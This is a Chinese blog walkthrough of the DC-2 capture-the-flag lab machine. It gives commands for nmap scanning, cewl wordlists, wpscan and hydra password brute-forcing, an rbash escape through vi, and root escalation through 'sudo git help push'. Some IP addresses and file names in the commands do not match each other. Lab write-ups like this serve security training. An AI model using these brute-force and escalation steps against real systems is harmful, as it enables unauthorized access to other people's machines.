DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权)

2024-01-01 15:58

本文主要是介绍DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一. 环境

二. 信息收集(识别目标主机,端口,拿到flag1)

01. 主机发现

02.访问地址192.168.1.8:80

03. 注意到nmap扫描时有这样一个提示,基本可以确认需要手动配置hosts文件

04. 配置hosts文件,再次访问,拿到flag1

​三. wpscan枚举,cwel生成字典,爆破获取密码,登录用户,拿到flag2

01. 使用cewl生成密码

02. 确定是wordpress,使用wpscan工具扫描,枚举出了用户

03. wpscan爆破拿到密码

04. 利用dirb工具 或 dirsearch工具进行目录扫描,找到登录界面

05. 登录tom用户,没有找到flag;登录jerry用户,拿到flag

四. Hydra爆破ssh密码,进行ssh远程登录,拿到flag3

01. hydra爆破ssh(这里可以用上面的密码字典和账号)

02. 爆破成功,ssh远程登录,tom成功登录,找到flag3

03. cat无法查看文件,被“rbash”限制了,尝试用vi,

五. 获取su命令权限,利用su提权到jerry获取flag4

01. 尝试使用vi绕过,但没有成功。下面是vi绕过rbash方法。

02. 判断需要添加环境变量,拿到su权限。(根据echo $PATH返回的内容判断的)

03. su提权到jerry,拿到flag4。

六. 最后可能是需要拿到root权限,获取final-flag5

01. 列出目前可执行的命令,利用git提权 

02. 在交互式界面输入!/bin/bash,获取root权限

03. 拿到final-flag.txt


一. 环境

靶机:192.168.1.8

攻击机kali:192.168.1.209

(l网络配置都是NAT模式)

----开始---渗透

二. 信息收集(识别目标主机,端口,拿到flag1)

01. 主机发现

1. nmap -sP 192.168.1.0/24  或  arp-scan -l    #识别目标主机2. nmap -sn 192.168.1.0/24 #主机发现3. nmap -sS -A -p- 192.168.1.184  #识别目标主机服务,端口-A 全面系统检测、启用脚本检测、扫描等-sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限

nmap扫描后,发现80,7744端口

02.访问地址192.168.1.8:80

从80端口寻找突破口,访问一下http://192.168.1.8:80,发现URL栏写的不是靶机的ip,而是http://dc-2/,而很明显,DNS没有解析出来

03. 注意到nmap扫描时有这样一个提示,基本可以确认需要手动配置hosts文件

04. 配置hosts文件,再次访问,拿到flag1

sudo vim /etc/hosts       #编辑host文件
在文件添加:192.168.1.8(靶机ip) dc-2

三. wpscan枚举,cwel生成字典,爆破获取密码,登录用户,拿到flag2

WordPress 是一个免费的开源内容管理系统,用 PHP 编写,并与 MySQL 或 MariaDB 数据库配对。功能包括插件架构和模板系统。 cewl是一个网页关键字抓取工具,cewl是一个kali自带的密码生成工具,WordPress有一个kali自带扫描工具wpscan可以爆破网站的用户名,想到用关键字作为密码继续进行爆破。

通过flag1中的cewl--->生成字典,wordpress--->wpscan扫描工具(可以爆破网站的用户名)

01. 使用cewl生成密码

1. cewl -w dc2_passwords.txt http://dc-2  #生成字典

02. 确定是wordpress,使用wpscan工具扫描,枚举出了用户

1. wpscan --url dc-2 -e u 或 wpscan --url http://dc-2 --enumerate u #暴力枚举用户名得出结果有三个用户admin,jerry,tom,将这三个用户保存在us.txt文件中(可以用vi写入)wpscan --url dc-2    #扫描wordpress的版本和ip等信息2. 开始爆破wpscan --url http://dc-2 -U users.txt dc2_Passswords.txt    或者wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force

03. wpscan爆破拿到密码

wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force

04. 利用dirb工具 或 dirsearch工具进行目录扫描,找到登录界面

1. dirb http://dc-2 或者 python dirsearch.py -u http://dc-2 #目录扫描

05. 登录tom用户,没有找到flag;登录jerry用户,拿到flag

flag2中提示wordpress找不到利用漏洞,目录遍历没有获取有用的信息。

四. Hydra爆破ssh密码,进行ssh远程登录,拿到flag3

01. hydra爆破ssh(这里可以用上面的密码字典和账号)

1. hydra -L user.dic -P pwd.dic ssh://192.168.1.104 -s 7744 -vV

02. 爆破成功,ssh远程登录,tom成功登录,找到flag3

03. cat无法查看文件,被“rbash”限制了,尝试用vi,

1. compgen -c       #查看可以使用的指令
2. vi flag3.txt     #查看内容

 提示tom、jerry和su,flag4的获取需要su提权到jerry

五. 获取su命令权限,利用su提权到jerry获取flag4

su命令被限制,无法进行操作,需要绕过rbash命令限制。(可以了解下rbash逃逸)

01. 尝试使用vi绕过,但没有成功。下面是vi绕过rbash方法。

vi   #直接vi编辑 (ESC-->shift+:)执行下面两条命令
:set shell=/bin/sh
:shell

02. 判断需要添加环境变量,拿到su权限。(根据echo $PATH返回的内容判断的)

1. echo $PATH #查看路径
2. #添加环境变量export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

03. su提权到jerry,拿到flag4。

六. 最后可能是需要拿到root权限,获取final-flag5

sudo -l  #列出目前用户可执行与无法执行的指令。
//--git提权
sudo git help push #进入git交互式界面
!/bin/bash         #输入命令回车,拿到root权限
//--拿到final_flag.txt
cd /root         

01. 列出目前可执行的命令,利用git提权 

02. 在交互式界面输入!/bin/bash,获取root权限

03. 拿到final-flag.txt

这篇关于DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/559762

相关文章

IDEA中Git版本回退的两种实现方案

《IDEA中Git版本回退的两种实现方案》作为开发者,代码版本回退是日常高频操作,IntelliJIDEA集成了强大的Git工具链,但面对reset和revert两种核心回退方案,许多开发者仍存在选择... 目录一、版本回退前置知识二、Reset方案:整体改写历史1、IDEA图形化操作(推荐)1.1、查看提

Git如何修改已提交人的用户名和邮箱

《Git如何修改已提交人的用户名和邮箱》文章介绍了如何修改Git已提交人的用户名和邮箱,包括注意事项和具体步骤,确保操作正确无误... 目录git修改已提交人的用户名和邮箱前言第一步第二步总结git修改已提交人的用户名和邮箱前言需注意以下两点内容:需要在顶层目录下(php就是 .git 文件夹所在的目

SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程

《SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程》本文详细介绍了如何在虚拟机和宝塔面板中安装RabbitMQ,并使用Java代码实现消息的发送和接收,通过异步通讯,可以优化... 目录一、RabbitMQ安装二、启动RabbitMQ三、javascript编写Java代码1、引入

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

Git提交代码详细流程及问题总结

《Git提交代码详细流程及问题总结》:本文主要介绍Git的三大分区,分别是工作区、暂存区和版本库,并详细描述了提交、推送、拉取代码和合并分支的流程,文中通过代码介绍的非常详解,需要的朋友可以参考下... 目录1.git 三大分区2.Git提交、推送、拉取代码、合并分支详细流程3.问题总结4.git push

Git中恢复已删除分支的几种方法

《Git中恢复已删除分支的几种方法》:本文主要介绍在Git中恢复已删除分支的几种方法,包括查找提交记录、恢复分支、推送恢复的分支等步骤,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录1. 恢复本地删除的分支场景方法2. 恢复远程删除的分支场景方法3. 恢复未推送的本地删除分支场景方法4. 恢复

如何测试计算机的内存是否存在问题? 判断电脑内存故障的多种方法

《如何测试计算机的内存是否存在问题?判断电脑内存故障的多种方法》内存是电脑中非常重要的组件之一,如果内存出现故障,可能会导致电脑出现各种问题,如蓝屏、死机、程序崩溃等,如何判断内存是否出现故障呢?下... 如果你的电脑是崩溃、冻结还是不稳定,那么它的内存可能有问题。要进行检查,你可以使用Windows 11

bat脚本启动git bash窗口,并执行命令方式

《bat脚本启动gitbash窗口,并执行命令方式》本文介绍了如何在Windows服务器上使用cmd启动jar包时出现乱码的问题,并提供了解决方法——使用GitBash窗口启动并设置编码,通过编写s... 目录一、简介二、使用说明2.1 start.BAT脚本2.2 参数说明2.3 效果总结一、简介某些情

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分